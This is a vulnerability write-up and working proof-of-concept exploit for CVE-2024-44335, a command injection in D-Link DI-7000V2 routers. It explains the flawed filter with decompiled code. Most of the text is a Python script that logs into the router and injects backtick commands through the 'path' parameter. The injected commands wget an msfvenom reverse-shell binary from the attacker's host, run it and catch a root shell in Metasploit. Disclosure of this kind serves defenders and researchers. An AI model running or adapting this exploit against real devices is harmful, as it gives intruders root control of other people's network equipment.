Proof of Concept (POC) for Command Execution Vulnerability in D-link DI7000V2 Series Routers via version_upgrade_asp-CGI
CVE-2024-44335
D-Link | Welcome (dlink.com.cn)
-
DI_7003G-19.12.24A1
-
DI_7003GV2-24.04.18D1
-
DI_7100G+V2-24.04.18D1
-
DI_7100GV2-24.04.18D1
-
DI_7200GV2-24.04.18E1
-
DI_7300G+V2-24.04.18D1
-
DI_7400G+V2-24.04.18D1
[RCE] Authorized Remote Command Execution
In several models of the DI-7000V2 series routers produced by D-Link (Shanghai) Co., Ltd., there is an issue with insufficient filtering of HTTP request parameters. An attacker can exploit this vulnerability by crafting specific HTTP requests to trigger a command execution vulnerability and gain the highest privilege shell access to the firmware system.
Make Your Life Simpler:
Taking DI_7003GV2-24.04.18D1 as an example, the vulnerability exists in the jhttpd
binary program within the firmware file system, specifically in the handler function sub_4381F8
for the version_upgrade.asp
CGI. The following is a simplified version of the code:
int __fastcall sub_4381F8(int a1)
{
parm = httpd_get_parm(a1, "path");
v3 = httpd_get_parm(a1, "type");
if ( parm )
{
v4 = jiffies_get();
mod_timer(a1 + 0x19290, v4 + 0x30D40);
v5 = commandInjectionCheck((int)parm);
v6 = (const char *)v5;
if ( v3 && (v22 = (const char *)v5, v7 = strcmp(v3, "1"), v6 = v22, !v7) )
sprintf(v21, "wys version_upgrade \"%s\" %s >> /tmp/version_upgrade.txt", v22, "1");
else
sprintf(v21, "wys version_upgrade \"%s\" %s >> /tmp/version_upgrade.txt", v6, "0");
jhl_system(v21);
return httpd_cgi_ret(a1, v21, v11, 4);
}
It can be seen that the external parameter path
is checked for command injection using the commandInjectionCheck
function, which is implemented as follows:
int *__fastcall commandInjectionCheck(int a1)
{
_BYTE *v2; // $v0
_BYTE *v3; // $v0
_BYTE *v4; // $v0
memset(&check_buf, 0, 0x400);
strncpy(&check_buf, a1, 0x400);
v2 = (_BYTE *)strchr(&check_buf, '&');
isInjected = (int)v2;
if ( v2 )
*v2 = 0;
v3 = (_BYTE *)strchr(&check_buf, '|');
isInjected = (int)v3;
if ( v3 )
*v3 = 0;
v4 = (_BYTE *)strchr(&check_buf, ';');
isInjected = (int)v4;
if ( v4 )
*v4 = 0;
return &check_buf;
}
It is evident that the function only filters the characters &
, |
, and ;
. Other strings, such as $()
, can still be used for command injection. After passing through this checking function, the formatted string is executed via jhl_system(v21);
. The implementation of the jhl_system()
function is located in libshared.so
and is as follows:
int __fastcall jhl_system(int a1)
{
v1 = fork();
if ( v1 == 0xFFFFFFFF )
{
perror("fork");
return *(_DWORD *)_errno_location();
}
else
{
if ( !v1 )
{
for ( i = 0; i != 0x80; ++i )
{
v5 = i;
signal(v5, 0);
}
v6 = 3;
setsid();
close(0);
close(1);
close(2);
open("/dev/null", 0);
open("/dev/null", 1);
open("/dev/null", 1);
do
{
v7 = v6++;
close(v7);
}
while ( v6 != 0x8000 );
system(a1);
exit(1);
}
waitpid(v1, v8, 0);
result = v8[0];
if ( (v8[0] & 0x7F) == 0 )
return (v8[0] & 0xFF00) >> 8;
}
return result;
}
The command string passed to jhl_system
is executed using the system
function, thereby forming a command execution chain. For more details, please refer to the EXP and the vulnerability demonstration video.
- Metasploit Framework (Tested on Version: 6.4.9-dev)
The script depends on the Metasploit framework. When running the script, msf will start listening. Please press Enter to continue the script execution once the listening process is complete. For more details, refer to the demonstration video.
# -*- coding: utf-8 -*-
"""
D-Link DI7000V2 Series Multiple Routers Command Execution Vulnerability Exploit.
MIT License
Copyright (c) 2024 Swind1er
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import requests
import logging
import argparse
import re
import time
import subprocess
import os
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
__author__ = "Yaxuan Wang(Sw1ndl3r)"
__email__ = "2532775668@qq.com"
def get_current_timestamp():
return int(time.time() * 1000)
def custom_quote(value):
return value.replace(' ', '%20')
def generate_payload(lhost, lport):
command = [
'msfvenom',
'-p', 'linux/mipsle/shell/reverse_tcp',
f'lhost={lhost}',
f'lport={lport}',
'-f', 'elf',
'-o', '3'
]
logging.debug(f'Running command: {" ".join(command)}')
try:
result = subprocess.run(command, capture_output=True, text=True, check=True)
logging.info(f'Payload generated successfully.')
return True
except subprocess.CalledProcessError as e:
logging.error(f'Error generating payload: {e.stderr}')
return False
def start_http_server():
command = ['python', '-m', 'http.server', '80']
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
logging.info(f"HTTP server started with command: {' '.join(command)}")
time.sleep(2) # Give the server some time to start
return process
def login(session, host, username, password):
url = f"http://{host}/login.cgi"
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": f"http://{host}",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": f"http://{host}/login.html",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "userid=admin",
"Connection": "close"
}
payload = f"user={username}&password={password}&Submit=%E7%99%BB%E5%BD%95"
logging.debug(f'Sending login request to {url} with payload: {payload}')
response = session.post(url, data=payload, headers=headers)
if response.status_code == 200:
logging.debug(f'Received response: {response.text}')
match = re.search(r"window.open\('([^']+)", response.text)
if match:
redirect_url = match.group(1)
logging.debug(f'Extracted redirect URL: {redirect_url}')
return redirect_url
else:
logging.error('Login failed: redirect URL not found in response.')
return None
else:
logging.error(f'Login request failed with status code: {response.status_code}')
return None
def send_request(session, host, referer, cmd):
url = f"http://{host}/upgrade_filter.asp"
headers = {
"Accept": "application/json, text/javascript, */*",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
"Referer": f"http://{host}/{referer}",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "userid=admin; gw_userid=admin,gw_passwd=73B9AFDFA9F7011E0553CF9A78DE320D",
"Connection": "close"
}
encoded_name = custom_quote(f"`{cmd}`")
params = (
f"path={encoded_name}&"
f"time=0&"
f"_{get_current_timestamp()}"
)
request_url = f"{url}?{params}"
logging.debug(f'Sending GET request to {request_url}')
response = session.get(request_url, headers=headers)
if response.status_code == 200:
logging.debug(f'Received response: {response.text}')
return response.json()
else:
logging.error(f'GET request failed with status code: {response.status_code}')
return None
def msf_listen(host, port):
cfg_file_path = 'cfg.rc'
logging.info(f'Creating Metasploit configuration file at {cfg_file_path}')
with open(cfg_file_path, 'w') as cfg_file:
cfg_file.write('use exploit/multi/handler\n')
cfg_file.write('set payload linux/mipsle/shell/reverse_tcp\n')
cfg_file.write(f'set lhost {host}\n')
cfg_file.write(f'set lport {port}\n')
cfg_file.write('run\n')
logging.info(f'Metasploit configuration written to {cfg_file_path}')
if os.name == 'posix': # Unix-like (Linux, macOS)
logging.info(f'Starting msfconsole with command: x-terminal-emulator -e msfconsole -r {cfg_file_path}')
subprocess.Popen(['x-terminal-emulator', '-e', 'msfconsole -r', cfg_file_path])
elif os.name == 'nt': # Windows
logging.info(f'Starting msfconsole with command: cmd /c start msfconsole -r {cfg_file_path}')
subprocess.Popen(['cmd', '/c', 'start', 'msfconsole', '-r', cfg_file_path])
else:
logging.error('Unsupported operating system.')
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='D-Link DI7000V2 Series Multiple Routers Command Execution Vulnerability Exploit')
parser.add_argument('-r', '--router', metavar='router', default='192.168.0.1', help='Router IP address.')
parser.add_argument('-H', '--host', metavar='host', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
parser.add_argument('-P', '--port', metavar='Port', required=True, help='Port to listen on.')
args = parser.parse_args()
logging.info(f'Starting exploit script by {__author__} ({__email__})')
logging.info(f'Router IP: {args.router}, Host IP: {args.host}, Username: {args.username}, Password: {args.password}, Port: {args.port}')
if not generate_payload(args.host, args.port):
logging.error('Payload generation failed.')
return
msf_listen(args.host, args.port)
input("Press Enter to continue once msfconsole is in listening state...\n")
process = start_http_server()
commands = [
f'wget http://{args.host}/3',
'chmod +x ./3',
'./3',
'rm ./3'
]
redirect_url = login(session, args.router, args.username, args.password)
if redirect_url:
logging.info('Login successful. Redirect URL obtained.')
for cmd in commands:
logging.info(f'Executing command: "{cmd}"')
response = send_request(session, args.router, redirect_url, cmd)
if response:
logging.debug(f'Command "{cmd}" response: {response}')
logging.info(f'"Successfully executed command: "{cmd}"')
else:
logging.error(f'Failed to execute command: "{cmd}"')
else:
logging.error('Login failed. Unable to obtain redirect URL.')
process.kill()
logging.info('HTTP server stopped.')
for file_path in ['3', 'cfg.rc']:
if os.path.exists(file_path):
os.remove(file_path)
logging.info(f'Removed file: {file_path}')
else:
logging.warning(f'File not found: {file_path}')
if __name__ == "__main__":
main()